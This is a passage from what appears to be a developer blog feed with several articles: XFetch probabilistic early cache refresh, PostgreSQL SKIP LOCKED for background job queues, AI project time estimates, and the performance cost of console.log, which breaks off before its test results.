&lt;li&gt;Other requests wait or use stale data.&lt;/li&gt;
&lt;li&gt;The cache gets updated.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It works, but now you're managing locks, timeouts, and failure cases.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What if we could refresh the cache before it expires?&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Meet XFetch
&lt;/h2&gt;

&lt;p&gt;XFetch is a clever algorithm based on &lt;strong&gt;probabilistic early expiration&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Instead of waiting until the cache expires, it randomly decides whether to refresh it early.&lt;/p&gt;

&lt;p&gt;Here's the interesting part:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;When the cache is fresh, refreshing is unlikely.&lt;/li&gt;
&lt;li&gt;As expiration approaches, refreshing becomes more likely.&lt;/li&gt;
&lt;li&gt;Slower database queries encourage earlier refreshes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Think of it like replacing a phone battery before it dies instead of waiting for it to shut down.&lt;/p&gt;

&lt;p&gt;No distributed lock is required to make the refresh decision.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Tiny Formula Behind It
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;now - β × delta × ln(random()) &amp;gt;= expiry
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looks complicated? It's actually simple.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;now&lt;/code&gt; — Current time&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;expiry&lt;/code&gt; — When the cache expires&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;delta&lt;/code&gt; — How long the last refresh took&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;random()&lt;/code&gt; — A random number between 0 and 1&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;β&lt;/code&gt; — Controls how aggressively we refresh&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The closer we get to expiration, the more likely the condition becomes true.&lt;/p&gt;

&lt;p&gt;That's the core idea.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Simple JavaScript Example
&lt;/h2&gt;

&lt;p&gt;Here's the early-expiration decision in JavaScript:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;shouldRefresh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;expiry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;beta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;random&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;MIN_VALUE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;beta&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;delta&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;random&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;expiry&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it!&lt;/p&gt;

&lt;p&gt;Let's say:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;expiry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;delta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;shouldRefresh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;expiry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function returns &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If it returns &lt;code&gt;true&lt;/code&gt;, the application can refresh the cached value early.&lt;/p&gt;

&lt;p&gt;The important detail is that &lt;code&gt;delta&lt;/code&gt; and &lt;code&gt;expiry&lt;/code&gt; use the same time unit. Here, both are in milliseconds.&lt;/p&gt;

&lt;h2&gt;
  
  
  But There's a Catch
&lt;/h2&gt;

&lt;p&gt;XFetch is smart, but it isn't magic.&lt;/p&gt;

&lt;p&gt;Multiple requests can still decide to refresh simultaneously. It reduces the risk of a stampede; it doesn't guarantee exactly one refresh.&lt;/p&gt;

&lt;p&gt;Also, if you delete the old cache entry before refreshing, other requests can still experience cache misses.&lt;/p&gt;

&lt;p&gt;A practical implementation should keep serving the existing value while refreshing, where stale data is acceptable.&lt;/p&gt;

&lt;p&gt;For stronger protection, you can combine early expiration with a single-flight mechanism or a short-lived refresh lock.&lt;/p&gt;

&lt;h2&gt;
  
  
  When Should You Use It?
&lt;/h2&gt;

&lt;p&gt;XFetch is particularly useful for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Popular API responses&lt;/li&gt;
&lt;li&gt;Homepage feeds&lt;/li&gt;
&lt;li&gt;Trending products&lt;/li&gt;
&lt;li&gt;Expensive database queries&lt;/li&gt;
&lt;li&gt;Frequently accessed cached data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For applications where a little stale data is acceptable, probabilistic early refresh can be a simple way to reduce sudden database load.&lt;/p&gt;

&lt;p&gt;For strict freshness requirements, consider additional coordination.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Most caching strategies ask:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Has the cache expired?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;XFetch asks a smarter question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Should we refresh it before it expires?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That small change can help prevent thousands of requests from rushing to your database at once.&lt;/p&gt;

&lt;p&gt;Sometimes, a little randomness is exactly what your system needs.&lt;/p&gt;

</description>
      <category>redis</category>
      <category>webdev</category>
      <category>performance</category>
      <category>architecture</category>
    </item>
    <item>
      <title>You Might Not Need Redis for Background Jobs</title>
      <dc:creator>Mohamed Ismail</dc:creator>
      <pubDate>Tue, 27 Oct 2026 13:30:00 +0000</pubDate>
      <link>https://dev.to/ihssmaheel/you-might-not-need-redis-for-background-jobs-1a9n</link>
      <guid>https://dev.to/ihssmaheel/you-might-not-need-redis-for-background-jobs-1a9n</guid>
      <description>&lt;p&gt;When we need background jobs in an application, we usually think of Redis, BullMQ, or RabbitMQ.&lt;/p&gt;

&lt;p&gt;They're great tools. But they also mean more infrastructure to manage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What if you're already using PostgreSQL and don't need another service?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There's a simple PostgreSQL feature called &lt;code&gt;SKIP LOCKED&lt;/code&gt; that makes this possible.&lt;/p&gt;

&lt;p&gt;Let's see how it works.&lt;/p&gt;

&lt;h2&gt;
  
  
  The problem with background jobs
&lt;/h2&gt;

&lt;p&gt;Imagine you're building an application that sends emails in the background.&lt;/p&gt;

&lt;p&gt;You store pending emails in a database table called &lt;code&gt;jobs&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;jobs&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'pending'&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Simple, right?&lt;/p&gt;

&lt;p&gt;But what happens when three workers run this query at the same time?&lt;/p&gt;

&lt;p&gt;They might all pick the &lt;strong&gt;same job&lt;/strong&gt; and send the same email three times.&lt;/p&gt;

&lt;p&gt;That's definitely not what we want.&lt;/p&gt;

&lt;h2&gt;
  
  
  Meet &lt;code&gt;SKIP LOCKED&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;PostgreSQL has a neat solution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;WITH&lt;/span&gt; &lt;span class="n"&gt;next_job&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;
  &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;jobs&lt;/span&gt;
  &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'pending'&lt;/span&gt;
  &lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;
  &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
  &lt;span class="k"&gt;FOR&lt;/span&gt; &lt;span class="k"&gt;UPDATE&lt;/span&gt; &lt;span class="n"&gt;SKIP&lt;/span&gt; &lt;span class="n"&gt;LOCKED&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;UPDATE&lt;/span&gt; &lt;span class="n"&gt;jobs&lt;/span&gt;
&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'processing'&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;next_job&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;RETURNING&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It looks a little complicated, but the idea is simple.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;FOR UPDATE&lt;/code&gt; locks the selected job so another worker can't claim it.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SKIP LOCKED&lt;/code&gt; tells other workers to skip locked jobs instead of waiting.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;UPDATE ... RETURNING&lt;/code&gt; marks the job as processing and returns it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So if three workers are running:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Worker 1 picks Job A.&lt;/li&gt;
&lt;li&gt;Worker 2 skips Job A and picks Job B.&lt;/li&gt;
&lt;li&gt;Worker 3 skips both and picks Job C.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Three workers. Three different jobs. No duplicate claims.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And because the job selection and update happen in one statement, the claim is atomic.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why is this useful?
&lt;/h2&gt;

&lt;p&gt;The biggest benefit is simplicity.&lt;/p&gt;

&lt;p&gt;If your application already uses PostgreSQL, you can handle basic background jobs without deploying Redis.&lt;/p&gt;

&lt;p&gt;You also get another useful feature: &lt;strong&gt;database transactions&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;For example, you can save an order and create its background job in the same transaction.&lt;/p&gt;

&lt;p&gt;If something fails, both changes can be rolled back.&lt;/p&gt;

&lt;p&gt;No worrying about an order being saved while its job never gets queued.&lt;/p&gt;

&lt;h2&gt;
  
  
  Is it better than Redis?
&lt;/h2&gt;

&lt;p&gt;Not always.&lt;/p&gt;

&lt;p&gt;PostgreSQL is a good choice for smaller or moderate background workloads, especially when you're already using it.&lt;/p&gt;

&lt;p&gt;Redis with BullMQ is often a better fit when you need advanced scheduling, retries, monitoring, or very high job throughput.&lt;/p&gt;

&lt;p&gt;And there's one important catch: &lt;code&gt;SKIP LOCKED&lt;/code&gt; only solves the problem of safely claiming jobs.&lt;/p&gt;

&lt;p&gt;For production, you still need to handle failed jobs, retries, worker crashes, and duplicate execution after failures.&lt;/p&gt;

&lt;p&gt;Libraries like &lt;a href="https://github.com/timgit/pg-boss" rel="noopener noreferrer"&gt;pg-boss&lt;/a&gt; and &lt;a href="https://github.com/graphile/worker" rel="noopener noreferrer"&gt;Graphile Worker&lt;/a&gt; can help with that.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final thoughts
&lt;/h2&gt;

&lt;p&gt;We often add new tools without checking what our existing stack can already do.&lt;/p&gt;

&lt;p&gt;PostgreSQL's &lt;code&gt;SKIP LOCKED&lt;/code&gt; is a perfect example.&lt;/p&gt;

&lt;p&gt;It's a small SQL feature that lets multiple workers safely pick different jobs without blocking each other.&lt;/p&gt;

&lt;p&gt;It won't replace Redis everywhere.&lt;/p&gt;

&lt;p&gt;But for many applications, &lt;strong&gt;PostgreSQL might be all you need to get started.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Sometimes, the simplest solution is already sitting in your database.&lt;/p&gt;

</description>
      <category>postgres</category>
      <category>backend</category>
      <category>database</category>
      <category>node</category>
    </item>
    <item>
      <title>AI Says My Project Will Take 2 Months. Then Builds It in a Week.</title>
      <dc:creator>Mohamed Ismail</dc:creator>
      <pubDate>Mon, 26 Oct 2026 12:14:55 +0000</pubDate>
      <link>https://dev.to/ihssmaheel/ai-says-my-project-will-take-2-months-then-builds-it-in-a-week-1if7</link>
      <guid>https://dev.to/ihssmaheel/ai-says-my-project-will-take-2-months-then-builds-it-in-a-week-1if7</guid>
      <description>&lt;p&gt;I noticed something strange about AI project planning.&lt;/p&gt;

&lt;p&gt;Ask AI to create a development plan for a full-stack application.&lt;/p&gt;

&lt;p&gt;It gives you a detailed breakdown:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Week 1–2: Project setup and architecture&lt;/li&gt;
&lt;li&gt;Week 3–4: Backend and database&lt;/li&gt;
&lt;li&gt;Week 5–6: Frontend development&lt;/li&gt;
&lt;li&gt;Week 7–8: Testing and deployment&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Total estimate: 2 months.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Looks like a reasonable plan, right?&lt;/p&gt;

&lt;p&gt;But here's the funny part.&lt;/p&gt;

&lt;p&gt;Give those same requirements to an AI coding agent, and it might build most of the application in less than a week.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;So why is AI still estimating projects as if we're writing every line of code manually?&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem With AI Estimates
&lt;/h2&gt;

&lt;p&gt;Most AI-generated project plans still follow traditional development timelines.&lt;/p&gt;

&lt;p&gt;But AI-assisted development works differently.&lt;/p&gt;

&lt;p&gt;An AI coding agent can set up a project, generate APIs, build UI components, write database queries, and create tests much faster than doing everything manually.&lt;/p&gt;

&lt;p&gt;Something that previously took days might now take hours.&lt;/p&gt;

&lt;p&gt;Yet AI often doesn't account for that speed when creating a project plan.&lt;/p&gt;

&lt;p&gt;It's like asking someone how long a journey will take, and they calculate the time for walking even though you're driving a car.&lt;/p&gt;

&lt;h2&gt;
  
  
  Building Fast Doesn't Mean It's Finished
&lt;/h2&gt;

&lt;p&gt;Of course, there's a catch.&lt;/p&gt;

&lt;p&gt;AI might generate an application in three days, but that doesn't mean it's ready for production.&lt;/p&gt;

&lt;p&gt;Security, testing, performance, edge cases, and deployment still need attention.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Writing code faster doesn't automatically mean delivering software faster.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's why AI should distinguish between building a working version and delivering a production-ready product.&lt;/p&gt;

&lt;h2&gt;
  
  
  What AI Should Do Instead
&lt;/h2&gt;

&lt;p&gt;Rather than giving a single estimate, AI should consider how the project will actually be developed.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Development approach&lt;/th&gt;
&lt;th&gt;Example estimate&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Traditional development&lt;/td&gt;
&lt;td&gt;6–8 weeks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI-assisted implementation&lt;/td&gt;
&lt;td&gt;3–7 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Production-ready delivery&lt;/td&gt;
&lt;td&gt;Depends on testing and complexity&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;These are hypothetical estimates, not guaranteed timelines.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;AI should also explain which tasks can be accelerated and which still require careful human review.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;AI has changed how quickly we can write software.&lt;/p&gt;

&lt;p&gt;But its project planning doesn't always reflect that change.&lt;/p&gt;

&lt;p&gt;If an AI coding agent can build in days what traditionally took weeks, its estimates should account for that possibility.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AI shouldn't just help us build faster. It should help us plan smarter.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Have you noticed this gap between AI-generated project timelines and actual AI-assisted development?&lt;/p&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>programming</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Your console.log() Might Be Slowing Down Your App</title>
      <dc:creator>Mohamed Ismail</dc:creator>
      <pubDate>Mon, 26 Oct 2026 04:30:00 +0000</pubDate>
      <link>https://dev.to/ihssmaheel/your-consolelog-might-be-slowing-down-your-app-16i7</link>
      <guid>https://dev.to/ihssmaheel/your-consolelog-might-be-slowing-down-your-app-16i7</guid>
      <description>&lt;p&gt;Most of us use &lt;code&gt;console.log()&lt;/code&gt; every day.&lt;/p&gt;

&lt;p&gt;Checking an API response? &lt;code&gt;console.log()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Debugging a loop? &lt;code&gt;console.log()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Trying to figure out why something isn't working? Another &lt;code&gt;console.log()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It's one of the simplest debugging tools in JavaScript. But there's something we often overlook: &lt;strong&gt;logging isn't free, and too much of it can affect performance.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let's understand why and how to avoid it.&lt;/p&gt;




&lt;h2&gt;
  
  
  First, what is the Console API?
&lt;/h2&gt;

&lt;p&gt;The Console API gives us methods to print messages, inspect values, and debug our applications.&lt;/p&gt;

&lt;p&gt;Some commonly used methods are:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;console.log()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Print general messages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;console.info()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Display information&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;console.warn()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Show warnings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;console.error()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Report errors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;console.table()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Display data in a table&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;console.time()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Measure execution time&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Here's a simple example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;John&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;table&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Something needs attention!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing complicated, right?&lt;/p&gt;

&lt;p&gt;But here's an interesting detail.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;console&lt;/code&gt; isn't actually part of the JavaScript language itself.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Who provides &lt;code&gt;console&lt;/code&gt;? JavaScript or the browser?
&lt;/h2&gt;

&lt;p&gt;JavaScript follows a specification called ECMAScript.&lt;/p&gt;

&lt;p&gt;That specification defines things like variables, functions, objects, arrays, and promises.&lt;/p&gt;

&lt;p&gt;But it doesn't define &lt;code&gt;console&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Instead, &lt;code&gt;console&lt;/code&gt; is provided by the environment where JavaScript runs.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Browsers&lt;/strong&gt; provide it through their developer tools.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Node.js&lt;/strong&gt; provides its own console implementation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Other runtimes&lt;/strong&gt; can implement it differently.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's why console behavior and performance can vary between environments.&lt;/p&gt;

&lt;h2&gt;
  
  
  The problem: Logging inside loops
&lt;/h2&gt;

&lt;p&gt;Imagine you're processing 10,000 records.&lt;/p&gt;

&lt;p&gt;While debugging, you add a simple log:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;records&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;record&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;records&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;record&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looks harmless.&lt;/p&gt;

&lt;p&gt;But this loop doesn't just process 10,000 records. It also asks the runtime to handle &lt;strong&gt;10,000 logging operations&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Depending on the environment, those operations may involve formatting values, passing messages to developer tools, or writing output.&lt;/p&gt;

&lt;p&gt;And all that work takes time.&lt;/p&gt;

&lt;h3&gt;
  
  
  How much slower can it get?
&lt;/h3&gt;

&lt;p&gt;In one local test, the results looked like this:&lt;/p&gt;

